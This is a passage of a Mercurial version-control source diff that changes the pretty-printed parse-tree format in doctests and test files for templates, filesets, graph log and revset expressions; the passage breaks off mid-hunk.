         >>> args = ['$1', '$2', 'foo']
         >>> pprint(builddefn('$1 or foo', args))
         (or
-          ('_aliasarg', '$1')
-          ('_aliasarg', 'foo'))
+          (_aliasarg '$1')
+          (_aliasarg 'foo'))
         >>> try:
         ...     builddefn('$1 or $bar', args)
         ... except error.ParseError as inst:
@@ -571,12 +580,12 @@
         >>> args = ['$1', '$10', 'foo']
         >>> pprint(builddefn('$10 or baz', args))
         (or
-          ('_aliasarg', '$10')
-          ('symbol', 'baz'))
+          (_aliasarg '$10')
+          (symbol 'baz'))
         >>> pprint(builddefn('"$1" or "foo"', args))
         (or
-          ('string', '$1')
-          ('string', 'foo'))
+          (string '$1')
+          (string 'foo'))
         """
         tree = cls._parse(defn)
         if args:
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -194,18 +194,18 @@
     >>> def f(tree):
     ...     print prettyformat(_unnesttemplatelist(tree))
     >>> f(('template', []))
-    ('string', '')
+    (string '')
     >>> f(('template', [('string', 'foo')]))
-    ('string', 'foo')
+    (string 'foo')
     >>> f(('template', [('string', 'foo'), ('symbol', 'rev')]))
     (template
-      ('string', 'foo')
-      ('symbol', 'rev'))
+      (string 'foo')
+      (symbol 'rev'))
     >>> f(('template', [('symbol', 'rev')]))  # template(rev) -> str
     (template
-      ('symbol', 'rev'))
+      (symbol 'rev'))
     >>> f(('template', [('template', [('string', 'foo')])]))
-    ('string', 'foo')
+    (string 'foo')
     """
     if not isinstance(tree, tuple):
         return tree
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -41,62 +41,62 @@
   $ hg debugtemplate -r0 -v '{5 / 2} {mod(5, 2)}\n'
   (template
     (/
-      ('integer', '5')
-      ('integer', '2'))
-    ('string', ' ')
+      (integer '5')
+      (integer '2'))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
-        ('integer', '5')
-        ('integer', '2')))
-    ('string', '\n'))
+        (integer '5')
+        (integer '2')))
+    (string '\n'))
   2 1
   $ hg debugtemplate -r0 -v '{5 / -2} {mod(5, -2)}\n'
   (template
     (/
-      ('integer', '5')
+      (integer '5')
       (negate
-        ('integer', '2')))
-    ('string', ' ')
+        (integer '2')))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
-        ('integer', '5')
+        (integer '5')
         (negate
-          ('integer', '2'))))
-    ('string', '\n'))
+          (integer '2'))))
+    (string '\n'))
   -3 -1
   $ hg debugtemplate -r0 -v '{-5 / 2} {mod(-5, 2)}\n'
   (template
     (/
       (negate
-        ('integer', '5'))
-      ('integer', '2'))
-    ('string', ' ')
+        (integer '5'))
+      (integer '2'))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
         (negate
-          ('integer', '5'))
-        ('integer', '2')))
-    ('string', '\n'))
+          (integer '5'))
+        (integer '2')))
+    (string '\n'))
   -3 1
   $ hg debugtemplate -r0 -v '{-5 / -2} {mod(-5, -2)}\n'
   (template
     (/
       (negate
-        ('integer', '5'))
+        (integer '5'))
       (negate
-        ('integer', '2')))
-    ('string', ' ')
+        (integer '2')))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
         (negate
-          ('integer', '5'))
+          (integer '5'))
         (negate
-          ('integer', '2'))))
-    ('string', '\n'))
+          (integer '2'))))
+    (string '\n'))
   2 -1
 
 Filters bind closer than arithmetic:
@@ -106,11 +106,11 @@
     (-
       (|
         (func
-          ('symbol', 'revset')
-          ('string', '.'))
-        ('symbol', 'count'))
-      ('integer', '1'))
-    ('string', '\n'))
+          (symbol 'revset')
+          (string '.'))
+        (symbol 'count'))
+      (integer '1'))
+    (string '\n'))
   0
 
 But negate binds closer still:
@@ -118,20 +118,20 @@
   $ hg debugtemplate -r0 -v '{1-3|stringify}\n'
   (template
     (-
-      ('integer', '1')
+      (integer '1')
       (|
-        ('integer', '3')
-        ('symbol', 'stringify')))
-    ('string', '\n'))
+        (integer '3')
+        (symbol 'stringify')))
+    (string '\n'))
   hg: parse error: arithmetic only defined on integers
   [255]
   $ hg debugtemplate -r0 -v '{-3|stringify}\n'
   (template
     (|
       (negate
-        ('integer', '3'))
-      ('symbol', 'stringify'))
-    ('string', '\n'))
+        (integer '3'))
+      (symbol 'stringify'))
+    (string '\n'))
   -3
 
 Keyword arguments:
@@ -139,10 +139,10 @@
   $ hg debugtemplate -r0 -v '{foo=bar|baz}'
   (template
     (keyvalue
-      ('symbol', 'foo')
+      (symbol 'foo')
       (|
-        ('symbol', 'bar')
-        ('symbol', 'baz'))))
+        (symbol 'bar')
+        (symbol 'baz'))))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -3174,21 +3174,21 @@
   $ hg debugtemplate -v '{(0)}\n'
   (template
     (group
-      ('integer', '0'))
-    ('string', '\n'))
+      (integer '0'))
+    (string '\n'))
   0
   $ hg debugtemplate -v '{(123)}\n'
   (template
     (group
-      ('integer', '123'))
-    ('string', '\n'))
+      (integer '123'))
+    (string '\n'))
   123
   $ hg debugtemplate -v '{(-4)}\n'
   (template
     (group
       (negate
-        ('integer', '4')))
-    ('string', '\n'))
+        (integer '4')))
+    (string '\n'))
   -4
   $ hg debugtemplate '{(-)}\n'
   hg: parse error at 3: not a prefix: )
@@ -3201,25 +3201,25 @@
 
   $ hg debugtemplate -D 1=one -v '{1}\n'
   (template
-    ('integer', '1')
-    ('string', '\n'))
+    (integer '1')
+    (string '\n'))
   one
   $ hg debugtemplate -D 1=one -v '{if("t", "{1}")}\n'
   (template
     (func
-      ('symbol', 'if')
+      (symbol 'if')
       (list
-        ('string', 't')
+        (string 't')
         (template
-          ('integer', '1'))))
-    ('string', '\n'))
+          (integer '1'))))
+    (string '\n'))
   one
   $ hg debugtemplate -D 1=one -v '{1|stringify}\n'
   (template
     (|
-      ('integer', '1')
-      ('symbol', 'stringify'))
-    ('string', '\n'))
+      (integer '1')
+      (symbol 'stringify'))
+    (string '\n'))
   one
 
 unless explicit symbol is expected:
@@ -3235,27 +3235,27 @@
 
   $ hg debugtemplate -Ra -r0 -v '{"string with no template fragment"}\n'
   (template
-    ('string', 'string with no template fragment')
-    ('string', '\n'))
+    (string 'string with no template fragment')
+    (string '\n'))
   string with no template fragment
   $ hg debugtemplate -Ra -r0 -v '{"template: {rev}"}\n'
   (template
     (template
-      ('string', 'template: ')
-      ('symbol', 'rev'))
-    ('string', '\n'))
+      (string 'template: ')
+      (symbol 'rev'))
+    (string '\n'))
   template: 0
   $ hg debugtemplate -Ra -r0 -v '{r"rawstring: {rev}"}\n'
   (template
-    ('string', 'rawstring: {rev}')
-    ('string', '\n'))
+    (string 'rawstring: {rev}')
+    (string '\n'))
   rawstring: {rev}
   $ hg debugtemplate -Ra -r0 -v '{files % r"rawstring: {file}"}\n'
   (template
     (%
-      ('symbol', 'files')
-      ('string', 'rawstring: {file}'))
-    ('string', '\n'))
+      (symbol 'files')
+      (string 'rawstring: {file}'))
+    (string '\n'))
   rawstring: {file}
 
 Test string escaping:
@@ -4242,49 +4242,49 @@
 
   $ hg debugtemplate -vr0 '{rn} {utcdate(date)|isodate}\n'
   (template
-    ('symbol', 'rn')
-    ('string', ' ')
+    (symbol 'rn')
+    (string ' ')
     (|
       (func
-        ('symbol', 'utcdate')
-        ('symbol', 'date'))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+        (symbol 'utcdate')
+        (symbol 'date'))
+      (symbol 'isodate'))
+    (string '\n'))
   * expanded:
   (template
     (template
-      ('symbol', 'rev')
-      ('string', ':')
+      (symbol 'rev')
+      (string ':')
       (|
-        ('symbol', 'node')
-        ('symbol', 'short')))
-    ('string', ' ')
+        (symbol 'node')
+        (symbol 'short')))
+    (string ' ')
     (|
       (func
-        ('symbol', 'localdate')
+        (symbol 'localdate')
         (list
-          ('symbol', 'date')
-          ('string', 'UTC')))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+          (symbol 'date')
+          (string 'UTC')))
+      (symbol 'isodate'))
+    (string '\n'))
   0:1e4e1b8f71e0 1970-01-12 13:46 +0000
 
   $ hg debugtemplate -vr0 '{status("A", file_adds)}'
   (template
     (func
-      ('symbol', 'status')
+      (symbol 'status')
       (list
-        ('string', 'A')
-        ('symbol', 'file_adds'))))
+        (string 'A')
+        (symbol 'file_adds'))))
   * expanded:
   (template
     (%
-      ('symbol', 'file_adds')
+      (symbol 'file_adds')
       (template
-        ('string', 'A')
-        ('string', ' ')
-        ('symbol', 'file')
-        ('string', '\n'))))
+        (string 'A')
+        (string ' ')
+        (symbol 'file')
+        (string '\n'))))
   A a
 
 A unary function alias can be called as a filter:
@@ -4293,20 +4293,20 @@
   (template
     (|
       (|
-        ('symbol', 'date')
-        ('symbol', 'utcdate'))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+        (symbol 'date')
+        (symbol 'utcdate'))
+      (symbol 'isodate'))
+    (string '\n'))
   * expanded:
   (template
     (|
       (func
-        ('symbol', 'localdate')
+        (symbol 'localdate')
         (list
-          ('symbol', 'date')
-          ('string', 'UTC')))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+          (symbol 'date')
+          (string 'UTC')))
+      (symbol 'isodate'))
+    (string '\n'))
   1970-01-12 13:46 +0000
 
 Aliases should be applied only to command arguments and templates in hgrc.
@@ -4341,7 +4341,7 @@
 
   $ hg debugtemplate --config templatealias.bad='x(' -v '{bad}'
   (template
-    ('symbol', 'bad'))
+    (symbol 'bad'))
   abort: bad definition of template alias "bad": at 2: not a prefix: end
   [255]
   $ hg log --config templatealias.bad='x(' -T '{bad}'
diff --git a/tests/test-fileset.t b/tests/test-fileset.t
--- a/tests/test-fileset.t
+++ b/tests/test-fileset.t
@@ -17,20 +17,20 @@
 Test operators and basic patterns
 
   $ fileset -v a1
-  ('symbol', 'a1')
+  (symbol 'a1')
   a1
   $ fileset -v 'a*'
-  ('symbol', 'a*')
+  (symbol 'a*')
   a1
   a2
   $ fileset -v '"re:a\d"'
-  ('string', 're:a\\d')
+  (string 're:a\\d')
   a1
   a2
   $ fileset -v 'a1 or a2'
   (or
-    ('symbol', 'a1')
-    ('symbol', 'a2'))
+    (symbol 'a1')
+    (symbol 'a2'))
   a1
   a2
   $ fileset 'a1 | a2'
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -1463,11 +1463,11 @@
       (or
         (list
           (func
-            ('symbol', 'user')
-            ('string', 'test'))
+            (symbol 'user')
+            (string 'test'))
           (func
-            ('symbol', 'user')
-            ('string', 'not-a-user'))))))
+            (symbol 'user')
+            (string 'not-a-user'))))))
   $ testlog -b not-a-branch
   abort: unknown revision 'not-a-branch'!
   abort: unknown revision 'not-a-branch'!
@@ -1479,14 +1479,14 @@
       (or
         (list
           (func
-            ('symbol', 'branch')
-            ('string', 'default'))
+            (symbol 'branch')
+            (string 'default'))
           (func
-            ('symbol', 'branch')
-            ('string', 'branch'))
+            (symbol 'branch')
+            (string 'branch'))
           (func
-            ('symbol', 'branch')
-            ('string', 'branch'))))))
+            (symbol 'branch')
+            (string 'branch'))))))
   $ testlog -k expand -k merge
   []
   (group
@@ -1494,30 +1494,30 @@
       (or
         (list
           (func
-            ('symbol', 'keyword')
-            ('string', 'expand'))
+            (symbol 'keyword')
+            (string 'expand'))
           (func
-            ('symbol', 'keyword')
-            ('string', 'merge'))))))
+            (symbol 'keyword')
+            (string 'merge'))))))
   $ testlog --only-merges
   []
   (group
     (func
-      ('symbol', 'merge')
+      (symbol 'merge')
       None))
   $ testlog --no-merges
   []
   (group
     (not
       (func
-        ('symbol', 'merge')
+        (symbol 'merge')
         None)))
   $ testlog --date '2 0 to 4 0'
   []
   (group
     (func
-      ('symbol', 'date')
-      ('string', '2 0 to 4 0')))
+      (symbol 'date')
+      (string '2 0 to 4 0')))
   $ hg log -G -d 'brace ) in a date'
   hg: parse error: invalid date: 'brace ) in a date'
   [255]
@@ -1530,18 +1530,18 @@
           (group
             (or
               (list
-                ('string', '31')
+                (string '31')
                 (func
-                  ('symbol', 'ancestors')
-                  ('string', '31'))))))
+                  (symbol 'ancestors')
+                  (string '31'))))))
         (not
           (group
             (or
               (list
-                ('string', '32')
+                (string '32')
                 (func
-                  ('symbol', 'ancestors')
-                  ('string', '32')))))))))
+                  (symbol 'ancestors')
+                  (string '32')))))))))
 
 Dedicated repo for --follow and paths filtering. The g is crafted to
 have 2 filelog topological heads in a linear changeset graph.
@@ -1591,8 +1591,8 @@
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', 'a'))))
+        (symbol 'filelog')
+        (string 'a'))))
   $ testlog a b
   []
   (group
@@ -1600,11 +1600,11 @@
       (or
         (list
           (func
-            ('symbol', 'filelog')
-            ('string', 'a'))
+            (symbol 'filelog')
+            (string 'a'))
           (func
-            ('symbol', 'filelog')
-            ('string', 'b'))))))
+            (symbol 'filelog')
+            (string 'b'))))))
 
 Test falling back to slow path for non-existing files
 
@@ -1612,12 +1612,12 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a')
-        ('string', 'p:c'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a')
+        (string 'p:c'))))
 
 Test multiple --include/--exclude/paths
 
@@ -1625,16 +1625,16 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a')
-        ('string', 'p:e')
-        ('string', 'i:a')
-        ('string', 'i:e')
-        ('string', 'x:b')
-        ('string', 'x:e'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a')
+        (string 'p:e')
+        (string 'i:a')
+        (string 'i:e')
+        (string 'x:b')
+        (string 'x:e'))))
 
 Test glob expansion of pats
 
@@ -1649,8 +1649,8 @@
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', 'aa'))))
+        (symbol 'filelog')
+        (string 'aa'))))
 
 Test --follow on a non-existent directory
 
@@ -1667,14 +1667,14 @@
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:dir')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:dir')))))
   $ hg up -q tip
 
 Test --follow on file not in parent revision
@@ -1691,14 +1691,14 @@
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:glob:*')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:glob:*')))))
 
 Test --follow on a single rename
 
@@ -1708,8 +1708,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'a'))))
+        (symbol 'follow')
+        (string 'a'))))
 
 Test --follow and multiple renames
 
@@ -1719,8 +1719,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'e'))))
+        (symbol 'follow')
+        (string 'e'))))
 
 Test --follow and multiple filelog heads
 
@@ -1730,8 +1730,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'g'))))
+        (symbol 'follow')
+        (string 'g'))))
   $ cat log.nodes
   nodetag 2
   nodetag 1
@@ -1742,8 +1742,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'g'))))
+        (symbol 'follow')
+        (string 'g'))))
   $ cat log.nodes
   nodetag 3
   nodetag 2
@@ -1758,11 +1758,11 @@
       (or
         (list
           (func
-            ('symbol', 'follow')
-            ('string', 'g'))
+            (symbol 'follow')
+            (string 'g'))
           (func
-            ('symbol', 'follow')
-            ('string', 'e'))))))
+            (symbol 'follow')
+            (string 'e'))))))
   $ cat log.nodes
   nodetag 4
   nodetag 3
@@ -1792,10 +1792,10 @@
   []
   (group
     (func
-      ('symbol', '_firstancestors')
+      (symbol '_firstancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Cannot compare with log --follow-first FILE as it never worked
 
@@ -1804,8 +1804,8 @@
   (group
     (group
       (func
-        ('symbol', '_followfirst')
-        ('string', 'e'))))
+        (symbol '_followfirst')
+        (string 'e'))))
   $ hg log -G --follow-first e --template '{rev} {desc|firstline}\n'
   @    6 merge 5 and 4
   |\
@@ -1839,20 +1839,20 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:set:copied()'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:set:copied()'))))
   $ testlog --include "set:copied()"
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'i:set:copied()'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'i:set:copied()'))))
   $ testlog -r "sort(file('set:copied()'), -rev)"
   ["sort(file('set:copied()'), -rev)"]
   []
@@ -1866,24 +1866,24 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a'))))
   $ testlog --removed --follow a
   []
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:a')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:a')))))
 
 Test --patch and --stat with --follow and --follow-first
 
@@ -2209,10 +2209,10 @@
   ['6', '8', '5', '7', '4']
   (group
     (func
-      ('symbol', 'descendants')
+      (symbol 'descendants')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Test --follow-first and forward --rev
 
@@ -2220,10 +2220,10 @@
   ['6', '8', '5', '7', '4']
   (group
     (func
-      ('symbol', '_firstdescendants')
+      (symbol '_firstdescendants')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
   --- log.nodes	* (glob)
   +++ glog.nodes	* (glob)
   @@ -1,3 +1,3 @@
@@ -2238,10 +2238,10 @@
   ['6', '5', '7', '8', '4']
   (group
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Test --follow-first and backward --rev
 
@@ -2249,10 +2249,10 @@
   ['6', '5', '7', '8', '4']
   (group
     (func
-      ('symbol', '_firstancestors')
+      (symbol '_firstancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Test --follow with --rev of graphlog extension
 
@@ -2270,25 +2270,25 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:.'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:.'))))
   $ testlog ../b
   []
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', '../b'))))
+        (symbol 'filelog')
+        (string '../b'))))
   $ testlog -f ../b
   []
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'b'))))
+        (symbol 'follow')
+        (string 'b'))))
   $ cd ..
 
 Test --hidden
diff --git a/tests/test-revset-dirstate-parents.t b/tests/test-revset-dirstate-parents.t
--- a/tests/test-revset-dirstate-parents.t
+++ b/tests/test-revset-dirstate-parents.t
@@ -14,19 +14,19 @@
 
   $ try 'p1()'
   (func
-    ('symbol', 'p1')
+    (symbol 'p1')
     None)
   * set:
   <baseset []>
   $ try 'p2()'
   (func
-    ('symbol', 'p2')
+    (symbol 'p2')
     None)
   * set:
   <baseset []>
   $ try 'parents()'
   (func
-    ('symbol', 'parents')
+    (symbol 'parents')
     None)
   * set:
   <baseset+ []>
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -155,8 +155,8 @@
 
   $ try 0:1
   (range
-    ('symbol', '0')
-    ('symbol', '1'))
+    (symbol '0')
+    (symbol '1'))
   * set:
   <spanset+ 0:2>
   0
@@ -181,8 +181,8 @@
   9
   $ try 3::6
   (dagrange
-    ('symbol', '3')
-    ('symbol', '6'))
+    (symbol '3')
+    (symbol '6'))
   * set:
   <baseset+ [3, 5, 6]>
   3
@@ -191,9 +191,9 @@
   $ try '0|1|2'
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')))
+      (symbol '0')
+      (symbol '1')
+      (symbol '2')))
   * set:
   <baseset [0, 1, 2]>
   0
@@ -203,14 +203,14 @@
 names that should work without quoting
 
   $ try a
-  ('symbol', 'a')
+  (symbol 'a')
   * set:
   <baseset [0]>
   0
   $ try b-a
   (minus
-    ('symbol', 'b')
-    ('symbol', 'a'))
+    (symbol 'b')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [1]>,
@@ -218,14 +218,14 @@
       <baseset [0]>>>
   1
   $ try _a_b_c_
-  ('symbol', '_a_b_c_')
+  (symbol '_a_b_c_')
   * set:
   <baseset [6]>
   6
   $ try _a_b_c_-a
   (minus
-    ('symbol', '_a_b_c_')
-    ('symbol', 'a'))
+    (symbol '_a_b_c_')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [6]>,
@@ -233,14 +233,14 @@
       <baseset [0]>>>
   6
   $ try .a.b.c.
-  ('symbol', '.a.b.c.')
+  (symbol '.a.b.c.')
   * set:
   <baseset [7]>
   7
   $ try .a.b.c.-a
   (minus
-    ('symbol', '.a.b.c.')
-    ('symbol', 'a'))
+    (symbol '.a.b.c.')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [7]>,
@@ -251,20 +251,20 @@
 names that should be caught by fallback mechanism
 
   $ try -- '-a-b-c-'
-  ('symbol', '-a-b-c-')
+  (symbol '-a-b-c-')
   * set:
   <baseset [4]>
   4
   $ log -a-b-c-
   4
   $ try '+a+b+c+'
-  ('symbol', '+a+b+c+')
+  (symbol '+a+b+c+')
   * set:
   <baseset [3]>
   3
   $ try '+a+b+c+:'
   (rangepost
-    ('symbol', '+a+b+c+'))
+    (symbol '+a+b+c+'))
   * set:
   <spanset+ 3:10>
   3
@@ -276,7 +276,7 @@
   9
   $ try ':+a+b+c+'
   (rangepre
-    ('symbol', '+a+b+c+'))
+    (symbol '+a+b+c+'))
   * set:
   <spanset+ 0:4>
   0
@@ -285,8 +285,8 @@
   3
   $ try -- '-a-b-c-:+a+b+c+'
   (range
-    ('symbol', '-a-b-c-')
-    ('symbol', '+a+b+c+'))
+    (symbol '-a-b-c-')
+    (symbol '+a+b+c+'))
   * set:
   <spanset- 3:5>
   4
@@ -300,15 +300,15 @@
     (minus
       (minus
         (negate
-          ('symbol', 'a'))
-        ('symbol', 'b'))
-      ('symbol', 'c'))
+          (symbol 'a'))
+        (symbol 'b'))
+      (symbol 'c'))
     (negate
-      ('symbol', 'a')))
+      (symbol 'a')))
   abort: unknown revision '-a'!
   [255]
   $ try é
-  ('symbol', '\xc3\xa9')
+  (symbol '\xc3\xa9')
   * set:
   <baseset [9]>
   9
@@ -324,8 +324,8 @@
 
   $ try '"-a-b-c-"-a'
   (minus
-    ('string', '-a-b-c-')
-    ('symbol', 'a'))
+    (string '-a-b-c-')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [4]>,
@@ -345,9 +345,9 @@
   (or
     (list
       (and
-        ('symbol', '1')
-        ('symbol', '2'))
-      ('symbol', '3')))
+        (symbol '1')
+        (symbol '2'))
+      (symbol '3')))
   * set:
   <addset
     <baseset []>,
@@ -356,10 +356,10 @@
   $ try '1|2&3'
   (or
     (list
-      ('symbol', '1')
+      (symbol '1')
       (and
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <baseset [1]>,
@@ -368,20 +368,20 @@
   $ try '1&2&3' # associativity
   (and
     (and
-      ('symbol', '1')
-      ('symbol', '2'))
-    ('symbol', '3'))
+      (symbol '1')
+      (symbol '2'))
+    (symbol '3'))
   * set:
   <baseset []>
   $ try '1|(2|3)'
   (or
     (list
-      ('symbol', '1')
+      (symbol '1')
       (group
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3'))))))
+            (symbol '2')
+            (symbol '3'))))))
   * set:
   <addset
     <baseset [1]>,
@@ -471,11 +471,11 @@
 
   $ try 'foo=bar|baz'
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (or
       (list
-        ('symbol', 'bar')
-        ('symbol', 'baz'))))
+        (symbol 'bar')
+        (symbol 'baz'))))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -483,17 +483,17 @@
 
   $ try --optimize 'foo=(not public())'
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (group
       (not
         (func
-          ('symbol', 'public')
+          (symbol 'public')
           None))))
   * optimized:
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (func
-      ('symbol', '_notpublic')
+      (symbol '_notpublic')
       None))
   hg: parse error: can't use a key-value pair in this context
   [255]
@@ -503,13 +503,13 @@
   $ hg debugrevspec -p parsed 'tip:tip^#generations[-1]'
   * parsed:
   (range
-    ('symbol', 'tip')
+    (symbol 'tip')
     (relsubscript
       (parentpost
-        ('symbol', 'tip'))
-      ('symbol', 'generations')
+        (symbol 'tip'))
+      (symbol 'generations')
       (negate
-        ('symbol', '1'))))
+        (symbol '1'))))
   9
   8
   7
@@ -522,10 +522,10 @@
   (not
     (relsubscript
       (func
-        ('symbol', 'public')
+        (symbol 'public')
         None)
-      ('symbol', 'generations')
-      ('symbol', '0')))
+      (symbol 'generations')
+      (symbol '0')))
 
 left-hand side of relation-subscript operator should be optimized recursively:
 
@@ -535,34 +535,34 @@
   (relsubscript
     (not
       (func
-        ('symbol', 'public')
+        (symbol 'public')
         None))
-    ('symbol', 'generations')
-    ('symbol', '0'))
+    (symbol 'generations')
+    (symbol '0'))
   * optimized:
   (relsubscript
     (func
-      ('symbol', '_notpublic')
+      (symbol '_notpublic')
       None)
-    ('symbol', 'generations')
-    ('symbol', '0'))
+    (symbol 'generations')
+    (symbol '0'))
 
 resolution of subscript and relation-subscript ternary operators:
 
   $ hg debugrevspec -p analyzed 'tip[0]'
   * analyzed:
   (subscript
-    ('symbol', 'tip')
-    ('symbol', '0'))
+    (symbol 'tip')
+    (symbol '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
   $ hg debugrevspec -p analyzed 'tip#rel[0]'
   * analyzed:
   (relsubscript
-    ('symbol', 'tip')
-    ('symbol', 'rel')
-    ('symbol', '0'))
+    (symbol 'tip')
+    (symbol 'rel')
+    (symbol '0'))
   hg: parse error: unknown identifier: rel
   [255]
 
@@ -570,9 +570,9 @@
   * analyzed:
   (subscript
     (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel'))
-    ('symbol', '0'))
+      (symbol 'tip')
+      (symbol 'rel'))
+    (symbol '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -580,10 +580,10 @@
   * analyzed:
   (subscript
     (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel')
-      ('symbol', '0'))
-    ('symbol', '1'))
+      (symbol 'tip')
+      (symbol 'rel')
+      (symbol '0'))
+    (symbol '1'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -591,10 +591,10 @@
   * analyzed:
   (relsubscript
     (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel0'))
-    ('symbol', 'rel1')
-    ('symbol', '1'))
+      (symbol 'tip')
+      (symbol 'rel0'))
+    (symbol 'rel1')
+    (symbol '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -602,11 +602,11 @@
   * analyzed:
   (relsubscript
     (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel0')
-      ('symbol', '0'))
-    ('symbol', 'rel1')
-    ('symbol', '1'))
+      (symbol 'tip')
+      (symbol 'rel0')
+      (symbol '0'))
+    (symbol 'rel1')
+    (symbol '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -675,23 +675,23 @@
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1'))))
-    ('symbol', '1'))
+          (symbol '0')
+          (symbol '1'))))
+    (symbol '1'))
   * analyzed:
   (and
     (or
       (list
-        ('symbol', '0')
-        ('symbol', '1')))
+        (symbol '0')
+        (symbol '1')))
     (not
-      ('symbol', '1')))
+      (symbol '1')))
   * optimized:
   (difference
     (func
-      ('symbol', '_list')
-      ('string', '0\x001'))
-    ('symbol', '1'))
+      (symbol '_list')
+      (string '0\x001'))
+    (symbol '1'))
   0
 
   $ hg debugrevspec -p unknown '0'
@@ -710,15 +710,15 @@
   * analyzed:
   (and
     (func
-      ('symbol', 'r3232')
+      (symbol 'r3232')
       None)
-    ('symbol', '2'))
+    (symbol '2'))
   * optimized:
   (andsmally
